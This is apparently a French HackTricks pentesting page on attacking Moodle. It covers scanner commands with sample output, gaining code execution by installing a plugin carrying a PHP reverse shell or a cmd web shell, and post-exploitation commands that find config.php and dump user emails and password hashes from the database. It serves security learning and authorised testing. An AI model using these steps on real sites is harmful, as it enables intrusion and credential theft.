Moodle

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Scans Automatiques

droopescan

bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

J'ai constaté que les outils automatiques sont assez inutiles pour trouver des vulnérabilités affectant la version de moodle. Vous pouvez vérifier cela sur https://snyk.io/vuln/composer:moodle%2Fmoodle

RCE

Vous devez avoir le rôle de manager et vous pouvez installer des plugins dans l'onglet "Administration du site"**:**

Si vous êtes manager, vous devrez peut-être encore activer cette option. Vous pouvez voir comment dans le PoC d'escalade de privilèges moodle : https://github.com/HoangKien1020/CVE-2020-14321.

Ensuite, vous pouvez installer le plugin suivant qui contient le classique pentest-monkey php rev shell (avant de le télécharger, vous devez le décompresser, changer l'IP et le port du revshell et le compresser à nouveau)

Ou vous pourriez utiliser le plugin de https://github.com/HoangKien1020/Moodle_RCE pour obtenir un shell PHP régulier avec le paramètre "cmd".

Pour accéder au plugin malveillant, vous devez accéder à :

bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

Trouver les identifiants de la base de données

bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

Dump des identifiants de la base de données

bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks